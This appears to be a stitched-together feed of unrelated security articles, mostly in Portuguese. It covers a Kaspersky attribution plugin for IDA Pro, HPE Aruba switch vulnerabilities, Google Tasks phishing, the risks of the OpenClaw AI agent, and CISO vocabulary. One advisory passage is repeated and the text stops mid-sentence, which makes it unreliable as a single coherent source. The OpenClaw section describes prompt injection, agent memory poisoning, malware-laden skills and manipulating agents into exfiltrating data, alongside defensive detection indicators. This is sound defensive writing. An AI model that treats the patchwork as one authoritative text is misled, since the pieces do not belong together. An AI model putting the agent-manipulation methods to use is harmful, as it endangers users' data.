Em primeiro lugar, a versão local do KTAE garante a permanência total da confidencialidade de uma investigação. Toda a análise ocorre diretamente na rede interna da organização. A fonte de inteligência de ameaças é um banco de dados implementado dentro do perímetro da empresa que contém indicadores exclusivos e dados de atribuição de cada amostra maliciosa conhecida por nossos especialistas. Além disso, ele também contém as características relativas aos arquivos legítimos para excluir detecções de falsos positivos. O banco de dados recebe atualizações regulares, mas opera em um sentido, ou sejam, nenhuma informação sai da rede do cliente.

Aliás, a versão local do KTAE oferece aos especialistas a capacidade de adicionar novos grupos de ameaças ao banco de dados para que sejam vinculados a amostras de malware que foram descobertas por conta própria. Isso significa que a atribuição subsequente de novos arquivos será responsável pelos dados adicionados por pesquisadores internos. Isso permite que os especialistas cataloguem seus próprios clusters de malware exclusivos, trabalhem com eles e identifiquem semelhanças.

Aqui está outra ferramenta especializada muito útil: nossa equipe desenvolveu um plug-in gratuito para o IDA Pro, um desmontador popular, para uso juntamente com a versão local do KTAE.

Qual é a finalidade de um plug-in de atribuição para um desmontador?

Para um analista de SOC que atua na triagem de alertas, atribuir um arquivo malicioso encontrado na infraestrutura é simples: basta que ele seja carregado no KTAE (nuvem ou local) para obter um veredito, como Manuscrypt (83%). Isso é suficiente para tomar as contramedidas adequadas em relação ao conjunto de ferramentas conhecido desse grupo e avaliar a situação geral. Um caçador de ameaças, no entanto, talvez não queira aceitar esse veredito pela aparência. Em um sentido alternativo, eles podem perguntar: “Quais fragmentos de código são exclusivos em todas as amostras de malware usadas por este grupo?” Então, nesse momento, usar um plug-in de atribuição para um desmontador pode ser uma boa ideia.

Dentro da interface do IDA Pro, o plug-in destaca os fragmentos de código desmontados e específicos que acionaram o algoritmo de atribuição. Isso permite não só o aprofundamento mais detalhado nas novas amostras de malware, mas também o refinamento das regras de atribuição em tempo real pelos pesquisadores. Assim, o algoritmo, e o próprio KTAE, continua evoluindo, tornando a atribuição mais precisa a cada execução.

Como configurar o plug-in

O plug-in é um script escrito em Python. Para executar o recurso, é necessário ter o IDA Pro. Infelizmente, ele não funcionará no IDA Free, pois não tem suporte para plug-ins Python. Se o Python ainda não tiver sido instalado, será necessário comprar o recurso, configurar as dependências (verifique o arquivo de requisitos em nosso repositório do GitHub) e garantir que as variáveis de ambiente do IDA Pro estejam apontando para as bibliotecas do Python.

Em seguida, será necessário inserir a URL de sua instância local do KTAE no corpo do script para fornecer o token de API (que está disponível comercialmente), assim como é feito no script de exemplo descrito na documentação do KTAE.

Por fim, basta simplesmente colocar o script na pasta de plug-ins do IDA Pro e iniciar o desmontador. Se isso for feito corretamente, depois de carregar e desmontar uma amostra, será possível ver a opção para iniciar o plug-in do Kaspersky Threat Attribution Engine (KTAE) em Editar → Plug-ins:

Como usar o plug-in

Quando o plugin é instalado, o seguinte ocorre nos bastidores: o arquivo atualmente carregado no IDA Pro é enviado via API para o serviço KTAE instalado localmente, no URL configurado no script. O serviço analisa o arquivo e os resultados da análise são enviados de volta ao IDA Pro.

Em uma rede local, o script geralmente termina o trabalho em questão de segundos (a duração depende da conexão com o servidor KTAE e do tamanho do arquivo analisado). Depois que o plug-in for encerrado, um pesquisador poderá começar a investigação nos fragmentos de código destacados. Um clique duplo leva diretamente à seção pertinente na montagem ou no código binário (exibição Hex) para análise. Esses pontos de dados extras facilitam a identificação de blocos de código compartilhados e o rastreamento de alterações em um kit de ferramentas de malware.

Para saber mais detalhes sobre o Kaspersky Threat Attribution Engine, e como implementar o recurso, consulte a documentação oficial do produto. E para organizar um projeto de demonstração ou piloto, preencha o formulário no site da Kaspersky.

Hewlett Packard Enterprise (HPE) fixed several flaws in Aruba AOS-CX, including a critical bug that lets attackers reset admin passwords.

Hewlett Packard Enterprise (HPE) patched multiple vulnerabilities in Aruba AOS-CX, the operating system used in Aruba CX switches. The most severe issue, tracked as CVE-2026-23813 (CVSS score of 9.8), allows unprivileged attackers to bypass authentication and reset administrator passwords via a low-complexity attack.

“A vulnerability has been identified in the web-based management interface of AOS-CX switches that could potentially allow an unauthenticated remote actor to circumvent existing authentication controls. In some cases this could enable resetting the admin password.” reads the advisory.

To reduce the risk from CVE-2026-23813, Hewlett Packard Enterprise recommends isolating management interfaces on a dedicated VLAN, limiting access only to trusted hosts, disabling unnecessary HTTP/HTTPS management interfaces, enforcing ACLs for REST/HTTPS access, and enabling logging and monitoring to quickly detect unauthorized activity.

The researcher moonv reported the vulnerability through HPE Aruba Networking’s Bug Bounty program.

HPE also addressed the following vulnerabilities:

• CVE-2026-23814 (CVSS score of 8.8) – Authenticated Command Injection in AOS-CX CLI command lets low-privilege remote attackers inject malicious commands via crafted parameters, leading to arbitrary code execution.
• CVE-2026-23815 (CVSS score of 7.2) – Authenticated Command Injection in high-privilege AOS-CX CLI custom binary allows remote attackers to execute unauthorized OS commands on the underlying system.
• CVE-2026-23816 (CVSS score of 7.2) – Authenticated Command Injection in AOS-CX CLI allows remote attackers to execute arbitrary OS commands via crafted input in the command line interface.
• CVE-2026-23817 (CVSS score of 6.5) – Unauthenticated Open Redirect in AOS-CX web interface enables remote attackers to redirect users to arbitrary malicious URLs via crafted requests, potentially leading to phishing attacks.

HPE Aruba Networking has no evidence of attacks in the wild exploiting these vulnerabilities.

“HPE Aruba Networking is not aware of any public discussion or exploit code targeting these specific vulnerabilities as of the release date of the advisory.” conitnues the advisory.

In July 2025, HPE disclosed hardcoded credentials in Aruba Instant On Wi-Fi devices that allow attackers to bypass login and access the web interface. The flaw tracked as CVE-2025-37103 (CVSS score of 9.8) impacts devices running firmware version 3.2.0.1 and below.

Aruba Instant On is a line of plug-and-play Wi-Fi access points are designed specifically for small and medium-sized businesses (SMBs). The product provides reliable, secure, and easy-to-manage wireless networks without the complexity or cost of enterprise systems.

“Hardcoded login credentials were found in HPE Networking Instant On Access Points, allowing anyone with knowledge of it to bypass normal device authentication.” reads the advisory. “Successful exploitation could allow a remote attacker to gain administrative access to the system.”

In July 2025, HPE disclosed hardcoded credentials in Aruba Instant On Wi-Fi devices that allow attackers to bypass login and access the web interface. The flaw tracked as CVE-2025-37103 (CVSS score of 9.8) impacts devices running firmware version 3.2.0.1 and below.

Aruba Instant On is a line of plug-and-play Wi-Fi access points are designed specifically for small and medium-sized businesses (SMBs). The product provides reliable, secure, and easy-to-manage wireless networks without the complexity or cost of enterprise systems.

“Hardcoded login credentials were found in HPE Networking Instant On Access Points, allowing anyone with knowledge of it to bypass normal device authentication.” reads the advisory. “Successful exploitation could allow a remote attacker to gain administrative access to the system.”

Follow me on Twitter: @securityaffairs and Facebook and Mastodon

Pierluigi Paganini

(SecurityAffairs – hacking, HPE)

Millions installed 'productivity' Chrome extensions that became malware after acquisition. Here's how browser extensions became enterprise security's weakest link.

The post The Chrome Extension Backdoor: How ‘Productivity Tools’ Became Enterprise Attack Vectors appeared first on Security Boulevard.

Temos discutido repetidamente esquemas de phishing em que invasores exploram vários servidores legítimos para enviar e-mails. Caso consigam sequestrar algum servidor de SharePoint, eles o usarão; caso contrário, se limitarão a enviar notificações por meio de um serviço gratuito, como o GetShared. Contudo, o enorme ecossistema do Google é um dos alvos favoritos dos criminosos, e a bola da vez é o Google Tarefas. Como de costume, este truque tem como principal objetivo driblar os filtros de e-mail, explorando a boa reputação do intermediário.

Como é o phishing no Google Tarefas

O destinatário recebe uma notificação legítima de um endereço @google.com com a mensagem: “Você tem uma nova tarefa”. Basicamente, os invasores tentam fazer parecer que a empresa passou a usar o gerenciador de tarefas do Google e, por isso, a vítima precisa clicar imediatamente em um link para preencher um formulário de verificação.

Para impedir que o destinatário tenha tempo para pensar se isso é necessário, a tarefa geralmente inclui um prazo curto e é marcada com alta prioridade. Ao clicar no link dentro da tarefa, a vítima é direcionada para uma URL que leva a um formulário onde deve inserir suas credenciais corporativas para “confirmar seu status de funcionário”. Essas credenciais, obviamente, são o objetivo final do ataque de phishing.

Como proteger as credenciais de funcionários contra phishing

Naturalmente, os funcionários devem ser alertados sobre a existência desse esquema. Por exemplo, compartilhando um link para o nosso acervo de postagens sobre como identificar o phishing. Mas, na realidade, o problema não é com nenhum serviço específico, mas sim com a cultura geral de segurança cibernética dentro de uma empresa. Os processos de fluxo de trabalho precisam ser claramente definidos para que todos os funcionários entendam quais ferramentas são realmente usadas pela empresa. Recomenda-se manter um documento corporativo público com a lista dos serviços autorizados e as pessoas ou departamentos responsáveis por eles. Isso proporciona aos funcionários um meio de verificar se aquele convite, tarefa ou notificação é legítimo. Além disso, nunca é demais lembrar que as credenciais corporativas devem ser inseridas somente em recursos internos da empresa. Para automatizar o processo de treinamento e manter sua equipe atualizada sobre as ameaças cibernéticas modernas, você pode usar uma ferramenta dedicada, como a Kaspersky Automated Security Awareness Platform.

Além disso, recomendamos reduzir a chegada de e-mails potencialmente perigosos às caixas de entrada dos funcionários com uma solução de segurança de gateway de e-mail especializada. Também é vital equipar todas as estações de trabalho conectadas à Web com um software de segurança. Mesmo que um invasor consiga enganar um funcionário, o produto de segurança bloqueará a tentativa de visitar o site de phishing, evitando o vazamento das credenciais corporativas.

É provável que todos já tenham ouvido falar do OpenClaw, anteriormente conhecido como “Clawdbot” ou “Moltbot”, o assistente de IA de código aberto que pode ser implementado localmente em uma máquina. Ele se conecta a plataformas de bate-papo populares como WhatsApp, Telegram, Signal, Discord e Slack, o que permite aceitar comandos do proprietário e acessar todo o sistema de arquivos local. Ele tem acesso ao calendário, e-mail e navegador do proprietário, podendo até mesmo executar comandos do SO por meio do shell.

Do ponto de vista da segurança, essa descrição por si só já é suficiente para deixar qualquer pessoa com os cabelos em pé. Mas quando as pessoas tentam usar o assistente em um ambiente corporativo, a ansiedade rapidamente se transforma na certeza de um caos iminente. Alguns especialistas já consideram o OpenClaw como a maior ameaça interna de 2026. Os problemas com o OpenClaw cobrem todo o espectro dos riscos destacados na recente lista OWASP Top 10 for Agentic Applications.

O OpenClaw permite conectar qualquer LLM local ou baseada em nuvem e usar várias integrações com serviços adicionais. No seu núcleo, há um gateway que aceita comandos por aplicativos de bate-papo ou por uma interface web e os encaminha para os agentes de IA adequados. A iteração inicial (Clawdbot), de novembro de 2025, apresentou gargalos de segurança significativos após sua popularização viral em janeiro de 2026. Em uma única semana, várias vulnerabilidades críticas foram divulgadas, surgiram habilidades maliciosas no diretório e vazaram segredos do Moltbook (basicamente um “Reddit para bots”). Para completar, a Anthropic exigiu que o projeto mudasse de nome para evitar violação da marca “Claude”, e o nome da conta no X foi sequestrado para promover golpes de criptomoedas.

Problemas conhecidos do OpenClaw

Embora o desenvolvedor do projeto pareça reconhecer a importância da segurança, como este é um projeto de hobby, não há recursos dedicados ao gerenciamento de vulnerabilidades nem a outros elementos essenciais de segurança do produto.

Vulnerabilidades do OpenClaw

Entre as vulnerabilidades conhecidas no OpenClaw, a mais perigosa é a CVE-2026-25253 (CVSS 8.8). Ela leva a um comprometimento total do gateway, permitindo que um invasor execute comandos arbitrários. Para piorar a situação, é assustadoramente fácil de explorá-la: se o agente visitar o site de um invasor ou se o usuário clicar em um link malicioso, o token de autenticação principal será vazado. Com esse token em mãos, o invasor tem controle administrativo total sobre o gateway. Essa vulnerabilidade foi corrigida na versão 2026.1.29.

Além disso, duas vulnerabilidades perigosas de injeção de comando (CVE-2026-24763 e CVE-2026-25157) foram descobertas.

Padrões e recursos inseguros

Uma série de configurações padrão e peculiaridades de implementação tornam o ataque ao gateway muito fácil:

• A autenticação é desativada por padrão, portanto, o gateway pode ser acessado pela Internet.
• O servidor aceita conexões WebSocket sem verificar a origem.
• A confiança das conexões localhost é implícita, o que é um desastre prestes a acontecer caso o host esteja executando um proxy reverso.
• Várias ferramentas, inclusive algumas perigosas, estão acessíveis no Modo Visitante.
• Os parâmetros de configuração críticos vazam pela rede local por meio de mensagens de difusão mDNS.

Segredos em texto simples

A configuração, a “memória” e os registros de bate-papo do OpenClaw armazenam chaves de API, senhas e outras credenciais para LLMs e serviços de integração em texto simples. Esta é uma ameaça crítica, pois versões dos malwares de roubo de informações RedLine e Lumma já foram identificadas com caminhos de arquivo do OpenClaw adicionados às suas listas de itens a roubar. Além disso, o malware de roubo de informações Vidar foi pego roubando segredos do OpenClaw.

Habilidades maliciosas

A funcionalidade do OpenClaw pode ser expandida com “habilidades” disponíveis no repositório do ClawHub. Como qualquer pessoa pode carregar uma habilidade, não demorou para que agentes de ameaças começassem a embutir o malware de roubo de informações AMOS macOS em seus envios. Em pouco tempo, o número de habilidades maliciosas chegou à casa das centenas. Isso levou os desenvolvedores a assinar rapidamente um acordo com o VirusTotal para garantir que todas as habilidades enviadas sejam verificadas em bancos de dados de malware e também passem por análise de código e conteúdo via LLMs. Dito isto, os autores são muito claros: não é uma solução milagrosa.

Falhas estruturais no agente de IA OpenClaw

As vulnerabilidades podem ser corrigidas e as configurações podem ser reforçadas, mas alguns dos problemas do OpenClaw são intrínsecos ao seu design. O produto combina vários recursos críticos que, quando agrupados, são muito perigosos:

• O OpenClaw tem acesso privilegiado a dados confidenciais na máquina host e às contas pessoais do proprietário.
• O assistente está totalmente receptivo a dados não confiáveis: ele recebe mensagens por meio de aplicativos de bate-papo e e-mail, acessa páginas da Web de forma autônoma etc.
• Ele sofre com a incapacidade inerente dos LLMs de separar comandos de dados de forma confiável, tornando possível a injeção de prompt.
• O agente salva as principais conclusões e artefatos das suas tarefas para guiar ações futuras. Isso significa que uma única injeção bem-sucedida pode envenenar a memória do agente, influenciando seu comportamento a longo prazo.
• O OpenClaw pode se comunicar com o mundo exterior, enviando e-mails, fazendo chamadas de API e usando outros métodos para exfiltrar dados internos.

Vale notar que, embora o OpenClaw seja um exemplo particularmente extremo, essa lista de “Cinco fatores aterrorizantes” é característica de quase todos os agentes de IA multifuncionais.

Riscos do OpenClaw para as organizações

Se um funcionário instalar um agente como esse em um dispositivo corporativo e conectá-lo a um conjunto básico de serviços (como Slack e SharePoint), a combinação de execução autônoma de comandos, amplo acesso ao sistema de arquivos e permissões OAuth excessivas cria um terreno fértil para o comprometimento profundo da rede. Na verdade, o hábito do bot de acumular segredos e tokens não criptografados em um só lugar é um desastre prestes a acontecer, ainda que o próprio agente de IA nunca seja comprometido.

Além disso, essas configurações violam os requisitos regulamentares em vários países e setores, ocasionando possíveis multas e falhas de auditoria. Os requisitos regulatórios atuais, como os da Lei de IA da UE ou da Estrutura de gerenciamento de risco de IA do NIST, exigem explicitamente controle de acesso rigoroso para agentes de IA. A abordagem de configuração do OpenClaw claramente deixa a desejar nesse quesito.

Mas o verdadeiro problema é que, mesmo que os funcionários sejam proibidos de instalar esse software em máquinas de trabalho, o OpenClaw pode ir parar nos seus dispositivos pessoais. Isso também cria riscos específicos para toda a organização:

• Os dispositivos de uso pessoal costumam armazenar acessos do trabalho, como chaves de VPN e tokens de navegador para ferramentas e e-mails da empresa. Eles podem ser sequestrados para obter acesso inicial à infraestrutura da empresa.
• Controlar o agente por aplicativos de bate-papo significa que não só os funcionários se tornam alvos de engenharia social, mas também seus agentes de IA, tornando reais invasões de contas de IA ou personificação do usuário em bate-papos com colegas (entre outros golpes). Mesmo que o trabalho seja discutido apenas ocasionalmente em bate-papos pessoais, as informações ali estão prontas para serem exploradas.
• Se um agente de IA em um dispositivo pessoal estiver conectado a qualquer serviço corporativo (e-mail, mensagens, armazenamento de arquivos), os invasores podem manipular o agente para desviar dados, e essa atividade seria extremamente difícil de ser detectada pelos sistemas de monitoramento corporativos.

Como detectar o OpenClaw

Dependendo dos recursos de monitoramento e resposta da equipe do SOC, eles podem rastrear tentativas de conexão do gateway do OpenClaw em dispositivos pessoais ou na nuvem. Além disso, uma combinação específica de sinais de alerta pode indicar a presença do OpenClaw em um dispositivo corporativo:

• Procure os diretórios ~/.openclaw/, ~/clawd/ ou ~/.clawdbot nas máquinas host.
• Verifique a rede com ferramentas internas ou públicas, como o Shodan, para identificar as impressões digitais HTML dos painéis de controle do Clawdbot.
• Monitore o tráfego de WebSocket nas portas 3000 e 18789.
• Fique atento às mensagens de difusão de mDNS na porta 5353 (especificamente openclaw-gw.tcp).
• Preste atenção a tentativas de autenticação incomuns em serviços corporativos, como novos registros de ID de aplicativo, eventos de consentimento OAuth ou strings de User-Agent típicas do Node.js e de outros agentes do usuário não padrão.
• Procure padrões de acesso típicos de coleta automatizada de dados: leitura de grandes volumes (por exemplo, raspar todos os arquivos ou e-mails) ou varredura de diretórios em intervalos fixos fora do horário do expediente.

Controlando o comportamento da Shadow AI

Um conjunto de práticas de higiene de segurança pode reduzir muito a pegada de Shadow IT e Shadow AI, tornando muito mais difícil implementar o OpenClaw em uma organização:

• Use a lista de permissões em nível de host para garantir que apenas aplicativos aprovados e integrações na nuvem sejam instalados. Implemente uma lista fechada de complementos verificados para produtos que oferecem extensibilidade (como extensões do Chrome, plugins do VS Code ou habilidades do OpenClaw).
• Faça uma avaliação de segurança completa de todos os produtos ou serviços, inclusive dos agentes de IA, antes de permitir que eles se conectem aos recursos corporativos.
• Aplique aos agentes de IA os mesmos requisitos de segurança rigorosos aplicados aos servidores de uso público que processam dados corporativos confidenciais.
• Implemente o princípio de privilégio mínimo para todos os usuários e outras identidades.
• Não conceda privilégios administrativos sem que haja uma necessidade comercial crítica. Exija que todos os usuários com permissões elevadas as usem apenas ao executar tarefas específicas, em vez de trabalhar com contas privilegiadas o tempo todo.
• Configure os serviços corporativos para que as integrações técnicas (como aplicativos que solicitam acesso pelo OAuth) recebam apenas as permissões mínimas.
• Faça auditorias periódicas de integrações, tokens OAuth e permissões concedidas a aplicativos de terceiros. Analise a necessidade disso com os proprietários de empresas, revogue proativamente permissões excessivas e elimine integrações obsoletas.

Implementação segura de agentes de IA

Se uma organização permitir agentes de IA de forma experimental (por exemplo, em testes de desenvolvimento ou pilotos de eficiência) ou liberar casos de uso específicos para a equipe, então medidas robustas de monitoramento, logs e controle de acesso devem ser implementadas:

• Implemente os agentes em uma sub-rede isolada com regras estritas de entrada e saída, limitando a comunicação apenas aos hosts confiáveis necessários para a tarefa.
• Use tokens de acesso de curta duração com um escopo de privilégios muito limitado. Nunca entregue a um agente tokens que concedam acesso aos servidores ou serviços principais da empresa. O ideal é criar contas de serviço exclusivas para cada teste individual.
• Mantenha as ferramentas perigosas e os conjuntos de dados que não são relevantes para o trabalho específico. Para implementações experimentais, a prática recomendada é testar o agente usando dados puramente sintéticos que imitam a estrutura de dados de produção reais.
• Configure o registro detalhado das ações do agente. Isso deve incluir registros de eventos, parâmetros de linha de comando e artefatos da cadeia de raciocínio associados a cada comando executado.
• Configure o SIEM para sinalizar atividades anormais do agente. As mesmas técnicas e regras usadas para detectar ataques LotL são aplicáveis aqui, embora sejam necessários esforços adicionais para definir quais são as atividades normais de um agente específico.
• Se servidores MCP e habilidades de agente adicionais forem usados, verifique-os com as ferramentas de segurança emergentes para essas tarefas, como o skill-scanner, mcp-scanner ou o mcp-scan. Várias empresas já lançaram ferramentas de código aberto para auditar a segurança das configurações durante testes do OpenClaw.

Políticas corporativas e treinamento de funcionários

A proibição total de todas as ferramentas de IA é um caminho simples, mas que quase nunca é produtivo. Os funcionários geralmente encontram soluções alternativas, empurrando o problema para as sombras e dificultando ainda mais o seu controle. Em vez disso, é melhor encontrar um equilíbrio sensato entre produtividade e segurança.

Implemente políticas transparentes para o uso de agentes de IA. Defina quais categorias de dados podem ser processadas por serviços externos de IA e quais estão estritamente proibidas. Os funcionários precisam entender por que algo é proibido. Uma política de “sim, mas com ressalvas” é sempre melhor recebida do que um “não” geral.

Use exemplos do mundo real nos treinamentos. Avisos abstratos sobre “riscos de vazamento” tendem a não ser levados a sério. É melhor demonstrar como um agente com acesso ao e-mail consegue encaminhar mensagens confidenciais só porque um e-mail de entrada aleatório solicitou. Quando a ameaça parece real, a motivação para seguir as regras também cresce. O ideal é que os funcionários façam um curso rápido sobre segurança de IA.

Ofereça alternativas seguras. Se os funcionários precisarem de um assistente de IA, forneça uma ferramenta aprovada com gerenciamento centralizado, logs e controle de acesso OAuth.

Para implementar programas eficazes de cibersegurança e manter a equipe de segurança profundamente integrada a todos os processos de negócios, o CISO precisa demonstrar regularmente o valor desse trabalho para a alta administração. Isso requer fluência na linguagem dos negócios, porém, uma armadilha perigosa espreita os mais desavisados.  Profissionais de segurança e executivos geralmente usam as mesmas palavras, mas para coisas totalmente diferentes. Às vezes, vários termos semelhantes são usados de forma intercambiável. Assim, talvez não fique muito claro para a alta administração quais são as ameaças que a equipe de segurança está tentando mitigar, qual é o nível real de ciber-resiliência da empresa ou onde o orçamento e os recursos estão sendo alocados. Portanto, antes de apresentar painéis elegantes ou calcular o ROI dos programas de segurança, vale a pena esclarecer essas importantes nuances terminológicas.

Ao esclarecer esses termos e construir um vocabulário compartilhado, o CISO e o conselho de administração podem melhorar significativamente a comunicação e, em última análise, fortalecer a postura de segurança geral da organização.

Por que o vocabulário de cibersegurança é importante para a gestão

As interpretações variadas dos termos representam mais do que uma simples inconveniência, e as consequências podem ser bastante significativas. A falta de clareza em relação aos detalhes pode levar a:

• Investimentos mal alocados. A administração pode aprovar a compra de uma solução de confiança zero sem perceber que, na prática, isso é apenas parte de um programa mais abrangente, de longo prazo e com um orçamento significativamente maior. O dinheiro é gasto, mas os resultados esperados pela equipe gestora nunca são alcançados. Da mesma forma, em relação à migração para a nuvem, a equipe gestora pode supor, num primeiro momento, que essa solução transfere automaticamente toda a responsabilidade de segurança ao provedor e, então, num segundo momento, o orçamento de segurança da nuvem é rejeitado.
• Aceitação cega do risco. As lideranças das unidades de negócios podem aceitar os riscos de cibersegurança sem ter uma compreensão completa do impacto potencial.
• Falta de governança. Sem entender a terminologia, a administração não pode fazer as perguntas certas, ou mesmo as mais difíceis, ou ainda, atribuir as áreas de responsabilidade de forma eficaz. Quando ocorre um incidente, muitas vezes os proprietários de negócios acreditam que a segurança estava inteiramente sob responsabilidade do CISO, enquanto o CISO, na verdade, não tinha autoridade para influenciar os processos de negócios.

Ciber-risco x risco de TI

Muitos executivos acreditam que a cibersegurança é uma questão puramente técnica que pode ser repassada à equipe de TI. Embora a importância da cibersegurança para os negócios seja indiscutível e os incidentes cibernéticos tenham sido classificados como um dos principais riscos para os negócios, pesquisas mostram que muitas organizações ainda não conseguem envolver as lideranças sem perfil técnico nas discussões sobre cibersegurança.

Os riscos de segurança da informação geralmente são tratados de maneira conjunta com as preocupações de TI, como tempo de atividade e disponibilidade do serviço.  Na realidade, o ciber-risco é um risco estratégico de negócios, ligado à continuidade, às perdas financeiras e aos danos à reputação.

Por outro lado, os riscos de TI geralmente são de natureza operacional, afetando a eficiência, a confiabilidade e o gerenciamento de custos. Em linhas gerais, a resposta a incidentes de TI é tratada inteiramente pela equipe de TI. Os principais incidentes de cibersegurança, no entanto, têm um escopo muito mais amplo: exigem o envolvimento de quase todos os departamentos e têm um impacto de longo prazo na organização sob vários aspectos, inclusive no que diz respeito à reputação, conformidade regulatória, relacionamento com o cliente e saúde financeira geral.

Conformidade x segurança

A cibersegurança está integrada aos requisitos regulatórios em todos os níveis, isto é, desde as diretivas internacionais, como NIS2 e GDPR, até as diretrizes do setor para transferência de dados além das fronteiras, como PCI DSS, além de imposições departamentais específicas. Assim, a equipe gestora da empresa geralmente percebe as medidas de cibersegurança como caixas de seleção de conformidade, acreditando que, uma vez que os requisitos regulatórios sejam atendidos, os problemas de cibersegurança poderão ser considerados resolvidos. Essa mentalidade pode ser fruto de um esforço consciente para minimizar os gastos com segurança (a administração acredita que não precisa fazer mais do que o necessário) ou advir de um mal-entendido sincero (a empresa está passando por uma auditoria ISO 27001, por isso não acredita que haja possibilidade de ser hackeada).

Na realidade, a conformidade está atendendo aos requisitos mínimos de auditores e reguladores governamentais em um momento específico. Infelizmente, o histórico de ciberataques em larga escala em grandes organizações prova que os requisitos “mínimos” são chamados assim por um motivo. Para uma proteção real contra ciberameaças modernas, as empresas devem melhorar continuamente suas estratégias e medidas de segurança de acordo com as necessidades específicas de um determinado setor.

Ameaça, vulnerabilidade e risco

Esses três termos são frequentemente usados como sinônimos, o que leva a conclusões errôneas feitas pela equipe gestora. Eis o raciocínio: “Há uma vulnerabilidade crítica no nosso servidor? Isso significa que se trata de um risco crítico!” Para evitar o pânico ou, inversamente, a inércia, é essencial usar esses termos com precisão e entender como eles se relacionam entre si.

Uma vulnerabilidade é uma fraqueza, ou seja, uma “porta aberta”. Isso significa que pode haver uma falha no código do software, um servidor configurado incorretamente, uma sala de servidores desbloqueada ou um funcionário que abre todos os anexos de e-mail.

Uma ameaça é algo que pode causar um incidente. A causa pode ser um agente malicioso, um malware ou até mesmo um desastre natural. Uma ameaça é o fator que pode “atravessar aquela porta aberta”.

O risco é a possível perda. É a avaliação cumulativa da probabilidade de um ataque bem-sucedido e o que a organização pode perder como resultado disso (o impacto).

As conexões entre esses elementos são melhor explicadas por meio de uma fórmula simples:

Risco = (ameaça × vulnerabilidade) × impacto

Isso pode ser ilustrado da seguinte forma. Imagine que uma vulnerabilidade crítica com uma classificação de gravidade máxima seja descoberta em um sistema desatualizado. No entanto, esse sistema está desconectado de todas as redes, fica em uma sala isolada e está sendo gerenciado por apenas três profissionais competentes. A probabilidade de um invasor alcançar o sistema é próxima de zero. Por outro lado, a falta de autenticação de dois fatores nos sistemas de contabilidade cria um risco real e elevado, resultante de uma alta probabilidade de ataque e de um possível dano significativo.

Resposta a incidentes, recuperação de desastres e continuidade dos negócios

A percepção da equipe gestora sobre as crises de segurança muitas vezes é simplista. Eis o raciocínio: “Se formos atingidos por um ransomware, bastará ativar o plano de recuperação de desastres de TI e fazer a restauração por meio do backup”. No entanto, combinar esses conceitos e também os processos é extremamente perigoso.

A resposta a incidentes (IR) é de responsabilidade da equipe de segurança ou de contratados especializados. O trabalho dessas equipes é localizar a ameaça, expulsar o invasor da rede e impedir que o ataque se espalhe.

A recuperação de desastres (DR) é uma tarefa de engenharia de TI. É o processo de restauração de servidores e dados de backups após a conclusão da resposta ao incidente.

A continuidade dos negócios (BC) é uma tarefa estratégica para a alta administração. Ela consiste em um plano, ou seja, a maneira como a empresa continuará atendendo clientes, enviando mercadorias, pagando compensações e mantendo o diálogo com a imprensa enquanto os sistemas principais ainda estiverem off-line.

Se a equipe gestora se concentrar apenas na recuperação, a empresa não terá um plano de ação para o período mais crítico de tempo de inatividade.

Conscientização sobre segurança x cultura de segurança

As lideranças em todos os níveis supõem algumas vezes que a simples realização de treinamentos de segurança garante resultados. Eis o raciocínio: “Os funcionários passaram no teste anual, então, agora, eles não clicarão em um link de phishing”. Infelizmente, contar apenas com treinamentos organizados pelas equipes de RH e de TI não será o suficiente. A eficácia requer a mudança de comportamento da equipe, o que é impossível sem o envolvimento da equipe gestora do negócio.

Conscientização é conhecimento. Um profissional sabe o que é phishing e entende a importância de senhas complexas.

A cultura de segurança tem a ver com padrões comportamentais. É aquilo que um funcionário faz em uma situação estressante ou quando ninguém está olhando. A cultura não é moldada por testes, mas por um ambiente onde o relato de erros é seguro, e a identificação e a prevenção de situações possivelmente perigosas são práticas comuns. Se um profissional teme a punição, ele ocultará um incidente. Em uma cultura saudável, um e-mail suspeito será encaminhado para o SOC, ou ainda, alguém que esquece de bloquear o computador receberá um toque do colega, o que acaba gerando um vínculo ativo na cadeia de defesa.

Detecção x prevenção

As lideranças empresariais muitas vezes pensam de forma ultrapassada, como uma “muralha da fortaleza”: “Compramos sistemas de proteção caros, portanto, não deve haver nenhuma maneira de sermos hackeados. Se ocorrer um incidente, isso significa que o CISO falhou”. Na prática, impedir 100% dos ataques é tecnicamente impossível e inviável do ponto de vista econômico. A estratégia moderna é construída sobre um equilíbrio entre a cibersegurança e a eficácia dos negócios. Em um sistema equilibrado, os componentes focados na detecção e prevenção de ameaças funcionam em conjunto.

A prevenção desvia ataques automatizados em massa.

O Detection and Response ajuda a identificar e neutralizar ataques mais profissionais e direcionados que conseguem contornar as ferramentas de prevenção ou explorar vulnerabilidades.

Atualmente, o principal objetivo da equipe de cibersegurança não é garantir a invulnerabilidade total, mas detectar um ataque em um estágio inicial e minimizar o impacto nos negócios. Para mensurar o sucesso aqui, o setor normalmente usa métricas, como tempo médio de detecção (MTTD) e tempo médio de resposta (MTTR).

Filosofia de confiança zero x produtos de confiança zero

O conceito de confiança zero, que implica “nunca confiar, sempre verificar” para todos os componentes da infraestrutura de TI, há muito tempo é reconhecido como relevante e eficaz para a segurança corporativa. Ele requer a verificação constante de identidade (contas de usuário, dispositivos e serviços) e contexto para cada solicitação de acesso de acordo com a suposição de que a rede já foi comprometida.

No entanto, a presença de “confiança zero” no nome de uma solução de segurança não significa que uma organização pode adotar essa abordagem da noite para o dia simplesmente comprando o produto.
A confiança zero não é um produto que se pode “ativar”, mas sim uma estratégia arquitetônica e uma jornada de transformação de longo prazo. A implementação da confiança zero requer a reestruturação dos processos de acesso e o refinamento dos sistemas de TI para garantir a verificação contínua da identidade e dos dispositivos. Comprar software sem alterar os processos não terá um efeito significativo.

Segurança da nuvem x segurança na nuvem

Ao migrar os serviços de TI para a infraestrutura em nuvem, como AWS ou Azure, muitas vezes existe a ilusão de que ocorrerá uma transferência de risco total. Eis o raciocínio: “Pagamos ao provedor, então, agora, a segurança será uma dor de cabeça para eles”. Esse raciocínio é equivocado e perigoso, pois se trata de uma interpretação errônea daquilo que é conhecido como o Modelo de responsabilidade compartilhada.

A segurança da nuvem é responsabilidade do provedor. Ele protege os data centers, os servidores físicos e o cabeamento.

A segurança na nuvem é responsabilidade do cliente.

